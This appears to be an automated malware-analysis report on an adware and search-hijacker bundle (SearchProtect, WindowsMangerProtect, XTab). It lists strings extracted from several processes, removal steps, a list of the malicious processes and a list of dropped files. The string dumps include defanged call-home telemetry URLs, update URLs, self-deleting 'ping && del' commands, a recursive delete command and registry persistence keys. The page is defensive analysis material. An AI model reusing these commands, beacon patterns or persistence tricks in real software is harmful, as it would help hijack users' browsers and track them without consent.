00S0d0
5 5$5(5,505
? ?<?@?`?
3 3@3`3|3
combase.dll
kernel32.dll
mscoree.dll
- CRT not initialized
- Attempt to initialize the CRT more than once.
- floating point support not loaded
USER32.DLL
portuguese-brazilian
advapi32.dll
WindowsMangerProtect
SOFTWARE\supWindowsMangerProtect
xa.geoip
visit.heartbeat
hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action0=%s&action1=visit&action2=%s&update0=ref,%s&update1=nation,%s&update2=language,%s
hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=%s
hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=visit.heartbeat.%s
hXXp://xa.xingcloud.com/v4/sof-windowspm/%s?action=visit.heartbeat.%s&update3=version,%s
Report Start.
C:\DoStartTEST.DAT
Report Heart beat.
ProtectWindowsManager.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
TypesSupported
%s is already installed
%s installed
%s failed to install. Error %d
%s is not installed
Could not remove %s. Error %d
WindowsProtectManger
Advapi32.dll
/c ping 127.0.0.1 -n 2 > nul && del
"%s" %s
psapi.dll
Explorer.exe
update.exe
%s_%s
\\.\Phys
hXXp://
Software\Microsoft\Windows\CurrentVersion\Internet Settings
http=
..\Src\json\src\json_value.cpp
..\Src\json\src\json_reader.cpp
xxxx
WinHttpClient
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
hXXp://xa.xingcloud.com
..\Src\json\src\json_writer.cpp
Assertion failed: %s, file %s, line %d
WindowsMangerProtect Service
C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe
WindowsMangerProtect service
SysTool PasSame LIMITED
Windows SysTool Service
20.0.0.1953
Windows SysTool.exe

ProtectService.exe_3864:




.text
`.rdata
@.data
.rsrc
@.reloc
GET %s%s%s HTTP/1.1
Host: %s
%sUser-Agent: Mozilla/4.0
POST %s HTTP/1.1
%sContent-Type: %s
User-Agent: Mozilla/4.0
Content-Length: %u
%*s %d %*s
%*[ ]%[^
?456789:;<=
!"#$%&'()* ,-./0123
file_url
E:\supsoft\SupSearchProtectV4\SearchProtect\Bin\Release\ProtectService.pdb
GetProcessHeap
GetSystemWindowsDirectoryW
KERNEL32.dll
USER32.dll
RegOpenKeyW
RegCloseKey
RegOpenKeyExW
RegCreateKeyExW
ADVAPI32.dll
SHELL32.dll
MSVCP110.dll
InternetCrackUrlW
WININET.dll
WS2_32.dll
SHLWAPI.dll
MSVCR110.dll
_crt_debugger_hook
__crtUnhandledException
__crtTerminateProcess
_calloc_crt
__crtGetShowWindowMode
_amsg_exit
_wcmdln
__crtSetUnhandledExceptionFilter
WinHttpCloseHandle
WinHttpOpen
WinHttpSetTimeouts
WinHttpCrackUrl
WinHttpConnect
WinHttpOpenRequest
WinHttpSetOption
WinHttpAddRequestHeaders
WinHttpSendRequest
WinHttpGetIEProxyConfigForCurrentUser
WinHttpGetProxyForUrl
WinHttpWriteData
WinHttpReceiveResponse
WinHttpQueryHeaders
WinHttpQueryDataAvailable
WinHttpReadData
WINHTTP.dll
SensApi.dll
VERSION.dll
PSAPI.DLL
USERENV.dll
.?AVCHttpClient@@
.?AVCTcpipSocket@@
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
2-2v2
hXXp://
Software\Microsoft\Windows\CurrentVersion\Internet Settings
http=
WinHttpClient
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
hXXp://xa.xingcloud.com
xxxx
%u_%u
%s_%s
%s_X
\\.\PhysicalDrive%d
UpDateProcess.exe
hXXp://VVV.theviilage.com/searchprotect/up?ptid=%s&sid=%s&ln=%s_%s&ver=%s&uid=%s&dp=%s
g{2EFFE99D-743D-44D0-BBF2-F9DDDEA2F92D}
Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex
Report HeartBeat
cmdshell.exe
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=visit.heartbeat.%s&update0=ref,%s&update1=nation,%s&update2=language,%s&update3=version,%s
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action0=xa.geoip&action1=visit&action2=install
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=uninstall
explorer.exe
Advapi32.dll
"%s" %s
psapi.dll
Explorer.exe
json_value.cpp
ljson_reader.cpp
ProtectSvc.exe
4.0.1.2105

HPNotify.exe_1524:




.text
`.rdata
@.data
.rsrc
@.reloc
<9%uo
wszUrl
strUrlTemp
hKEY
strSelUrl
strUrl
strConfUrlTemp
strDsUrl
strHpUrl
strCmdLine
tCPW
%UUUU
Vot.VotF%qt
e_GetBrowserCurrentHpUrl
e_GetBrowserCurrentDsUrl
URLDownloadToFileW
URLDownloadToFileW ret:0XX
Error : %d
inflate 1.1.3 Copyright 1995-1998 Mark Adler
1.1.3
monochrome
unsupported bit depth
`'\%D,3
Run-Time Check Failure #%d - %s
%s%s%p%s%ld%s%d%s
%s%s%s%s
RegOpenKeyExW
RegCloseKey
del /s/q %1\*.*
%suninstall.bat
E:\supsoft\SupSearchProtectV4\SearchProtect\bin\Release\HPNotify.pdb
KERNEL32.dll
GetKeyState
USER32.dll
GDI32.dll
ADVAPI32.dll
ShellExecuteW
ShellExecuteA
ShellExecuteExW
SHELL32.dll
ole32.dll
OLEAUT32.dll
SHDeleteKeyW
SHLWAPI.dll
MSVCP110.dll
MSVCR110.dll
_calloc_crt
_CRT_RTC_INITW
__crtGetShowWindowMode
_amsg_exit
_wcmdln
_crt_debugger_hook
__crtUnhandledException
__crtTerminateProcess
__crtSetUnhandledExceptionFilter
GdiplusShutdown
gdiplus.dll
IMM32.dll
DeleteUrlCacheEntryW
WININET.dll
COMCTL32.dll
GetProcessHeap
#*1892 $
%,3:;4-&
.?AVCActiveXEnum@DuiLib@@
.?AVCWebBrowserUI@DuiLib@@
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
<assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*' />
3?3
1-2}2
77t7
9":,:6:@:
12u2
: :$:(:,:0:
4 4$4(4,404
>$?(?,?0?
2 2$2(2,20242
0 1@1\1|1
hXXp://VVV.bing.com/
hXXp://VVV.yahoo.com/
hXXp://VVV.google.com/
%sconf
web/?type=dspp&
web/?type=dspp
hXXp://VVV.v9.com/
Itemd
BrowserAction.dll
%u_%u
%s_%s
%s_X
\\.\PhysicalDrive%d
\\.\Scsi%d:
UrlEdit
conf.xml
hXXp://v9.com/license_agreement.html
hXXp://v9.com/privacy_policy.html
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.show.%s
hXXp://xa.xingcloud.com/v4/searchprotect/%s?action=set.other.%s
%stmp%d.tmp
urlmon.dll
main.xml
explorer.exe
Global\{5F26509F-29FE-4598-8800-FA22CE9CC17F}__Mutex
IeWatchDog.dll
BrowerWatchFF.dll
BrowerWatchCH.dll
Global\GUID(6D05BFEC-4307-4649-8963-962A24345DF4)
msimg32.dll
User32.dll
WM_KEYDOWN
WM_KEYUP
WM_SYSKEYDOWN
WM_SYSKEYUP
0xX
keyboard
msftedit.dll
password
%s%s%s
Correct password required
%s\%s
WebBrowser
transshadow
transshadow1
dest='%d,%d,%d,%d'
dest='%d,%d,%d,%d' source='%d,%d,%d,%d'
source='%d,%d,%d,%d' dest='%d,%d,%d,%d'
M-d-d
WebBrowserUI
errorUrl
{D27CDB6E-AE6D-11CF-96B8-444553540000}
user32.dll
MSPDB110.DLL
ADVAPI32.DLL
/c ping 127.0.0.1 -n 2 > nul && del /s/q
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
%Program Files% (x86)\XTab\skin\
SupHPNot.exe
4,0,1,1716
SupHPNty.exe

WebPlayer.exe_4000:




.text
`.rdata
@.data
.rsrc
@.reloc
8%u:j
RegOpenKeyTransactedW
RegCreateKeyTransactedW
RegDeleteKeyTransactedW
operator
GetProcessWindowStation
KERNEL32.dll
EnumWindows
USER32.dll
GDI32.dll
RegOpenKeyExW
RegCreateKeyExW
RegDeleteKeyW
RegCloseKey
RegEnumKeyExW
RegQueryInfoKeyW
ADVAPI32.dll
SHELL32.dll
ole32.dll
OLEAUT32.dll
SHLWAPI.dll
COMCTL32.dll
urlmon.dll
GetProcessHeap
GetCPInfo
.?AVIKeyValueStorage@@
.?AVCWebPlayerEventsCallback@@
.?AVCComWebPlayer@@
.?AV?$CComCoClass@VCComWebPlayer@@$1?GUID_NULL@@3U_GUID@@B@ATL@@
.?AV?$IDispatchDynamicImpl@VCComWebPlayer@@@@
.?AV?$CComObject@VCComWebPlayer@@@ATL@@
.?AVCWebPlayerView@@
.?AV?$CWindowImpl@VCWebPlayerView@@V?$CAxWindowT@VCWindow@ATL@@@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@3@@ATL@@
.?AV?$CTrayIcon@VCWebPlayerView@@@@
.?AV?$IDispEventImpl@$00VCWebPlayerView@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B$1?LIBID_SHDocVw@@3U3@B$00$0A@VCComTypeInfoHolder@ATL@@@ATL@@
.?AV?$IDispEventSimpleImpl@$00VCWebPlayerView@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@
.?AV?$_IDispEventLocator@$00$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@
zcÁ
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
2 3$3(3,3
getWebBrowser
hXXps://
hXXp://
Advapi32.dll
Software\WebPlayer\
javascript.debug
javascript.show_errors
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
icons\main.ico
WebPlayerEngine
WebPlayer\
scripts\config.xml
window.placement
icons\tray.ico
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
mscoree.dll
KERNEL32.DLL
WUSER32.DLL
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe
&About WebPlayer
WebPlayer
Replace%Select the entire document
Arrange Icons/Arrange windows so they overlap
Cascade Windows5Arrange windows as non-overlapping tiles
Tile Windows5Arrange windows as non-overlapping tiles
Tile Windows(Split the active window into panes
1.1.0.0
WebPlayer.exe

SciLors GrooveDownloader.exe_3808_rwx_001B2000_00003000:




.sm\<

SciLors GrooveDownloader.exe_3808_rwx_001C2000_00009000:




PresentationFramework.Aero

SciLors GrooveDownloader.exe_3808_rwx_002A0000_00010000:




PresentationFramework.classic

SciLors GrooveDownloader.exe_3808_rwx_04EB0000_00005000:




.km@hem






Remove it with Ad-Aware




    

  1. Click (here) to download and install Ad-Aware Free Antivirus.
    2. 

  2. Update the definition files.
    3. 

  3. Run a full scan of your computer.
    4. 





Manual removal*




    

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):
    

    cmdshell.exe:1984
    install.exe:2940
    ProtectService.exe:1852
    ProtectService.exe:3864
    YTAHelper.exe:3868
    smt_istartsurf.exe:3996
    044ba9ad-d071-4924-93f1-321600ec1e76-4.exe:3868
    ProtectWindowsManager.exe:3944
    ProtectWindowsManager.exe:3424
    GLJCD7C.tmp:3500
    install.tmp:1916
    jsdrv.exe:2836
    wpm_v20.0.0.1953_0302.exe:4040
    biclient.exe:1828
    biclient.exe:816
    biclient.exe:1172
    webplayer_installer.exe:3180
    GLBCD0E.tmp:3452
    ins_yta.exe:3444
    QQBrowser.exe:3592
    QQBrowser.exe:3476
    testlsp.exe:1888
    powershell.exe:3320
    powershell.exe:3284
    powershell.exe:3404
    setup.exe:3836
    HPNotify.exe:1524
    Wrgdrartol.exe:3264
    671594b7-fc54-4f9f-982b-96db5cfc3669-4.exe:1844
    ShopperPro.exe:3332
    XTab_Setup2121.exe:960
    Twhaovuu.exe:3188
    appshat.exe:2528
    %original file name%.exe:2364
    ins_shopperpro.exe:4012
    regsvr32.exe:3920
    regsvr32.exe:4052
    regsvr32.exe:2272
    regsvr32.exe:3680
    regsvr32.exe:3412
    regsvr32.exe:3172
    lspinst.exe:2244
    lspinst.exe:2484
    e8cfa312-fa67-431c-a6c1-adcf7585a6ee-4.exe:3740
    YTAHEL~1.EXE:1600
    appshat_generic.exe:1584
    DCytaiesmt_smtyc_setup.exe:2420
    DCytaiesmt_smtyc_setup.exe:3956
    DCytaiesmt_smtyc_setup.exe:3516
    DCytaiesmt_smtyc_setup.exe:1664
    DCytaiesmt_smtyc_setup.exe:820
    DCytaiesmt_smtyc_setup.exe:1900
    cscript.exe:3460
    spbiu.exe:3656
    spbiu.exe:1596
    wscript.exe:1580
    YouTubeAcceleratorService.exe:3940
    YouTubeAcceleratorService.exe:3140
    YouTubeAcceleratorService.exe:3612
    B338.tmp:3876
    INS_SENSE.EXE:3888
    Xnxius.exe:3424
    taskeng.exe:3276
    ytaiesmt_smtyc_setup.exe:1504
    INS_IWEBAR.EXE:3152
    

    2. 

  2. Delete the original Application file.
    3. 

  3. Delete or disinfect the following files created/modified by the Application:
    

    %Program Files% (x86)\XTab\HPNotify.exe (675 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\is-HME08.tmp\install.tmp (1594 bytes)
    %Program Files% (x86)\XTab\msvcp110.dll (536 bytes)
    %Program Files% (x86)\XTab\msvcr110.dll (876 bytes)
    C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
    %Program Files% (x86)\XTab\CmdShell.exe (49 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\config.json (269 bytes)
    C:\ProgramData\YTAHelper\config.json (269 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.xul (203 bytes)
    C:\ProgramData\YTAHelper\yta_database1_0_0.json (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
    %Program Files% (x86)\YTAHelper\config.json (269 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\install.rdf (884 bytes)
    C:\ProgramData\YTAHelper\YTAHelper.dll (2321 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\yta_database1_0_0.json (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\chrome.manifest (111 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\shopperpro_128.png (5 bytes)
    C:\ProgramData\YTAHelper\YTAHelper64.dll (3073 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\YTAHelper_64.png (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\button.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\checked.png (222 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\tmp\wpm_v20.0.0.1953_0302.exe (16944 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\tmp\XTab_Setup2121.exe (76650 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\sweetsearch!1.0.0.1031.xpi (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\code\Thumbs.db (1552 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\conf (79 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\eg1.zip (178947 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\checkbox.png (545 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\checkbox_select.png (783 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\eg2.zip (203059 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\code\code4.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\bg1.png (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\Thumbs.db (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\button1.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\code\code1.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\loading_bg.png (159 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\MessageBox.xml (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\UninstallManager.exe (60186 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\474.json (512 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\code\code3.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\bg.png (5064 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\close.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\loading_light.png (139 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\code\code5.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\bk_shadow.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\QQBrowserFrame.dll (3616 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\QQBrowser.exe (5199 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\uninstallDlg2.xml (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\min.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\tmp\474.db (168 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\quick_searchff#5.4.10.xpi (6360 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\DataBase (26688 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\code\code2.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\code\code6.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\unchecked.png (135 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp530387\images\scrollbar.bmp (1552 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\7ad362db0f9746c8f82e85d181f6f20b.js (964 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\78c7c5195c5cc29f64eaad9744ac2805.js (20 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\a2698f370cf16a85e76f885a741a2504.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\1a8e6e0af6f5e63e69b50aa19e2edec7.js (26 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\abdb8273d7e5892741d8b3e818636e13.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\d191c6d8deea4ab47e7b07f4de4944c3.js (357 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\1fee4b6c5fc96f858f1b7420abafa882.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\337.js (413 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\0a494679afc4f732435dfbf36b1d16f7.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\6dfd716cc689fd4536b61f573bc2a9de.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\ed8a61e0f90ec937abf6765ca7b2fa53.js (947 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2e6c33af050a2d36d5feacb92bcc20bb.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\eef6ad538a5bd83734859b03d8800170.js (28 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a32b7ba6896ca429c6b103369184df77.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\afd23afbf31aff504752c7abe8f157a3.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (949 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\821228e2ab8f3bffa4cdedbfdb554490.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\910bcabdc755b6269bcdea5f5f7ff6d8.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\d3c5748ba2d0d4c303adf0057930ef4c.js (21 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\9be2381fe90aa5d6f8de468598183b4a.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\3ffb2d55bcfdb3c478b8fd673a1b32da.js (659 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\eebf14c0969b484959c5ac2340d40b3d.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (659 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\42cb940df94d65fdc7384c311b24adaf.js (5 bytes)
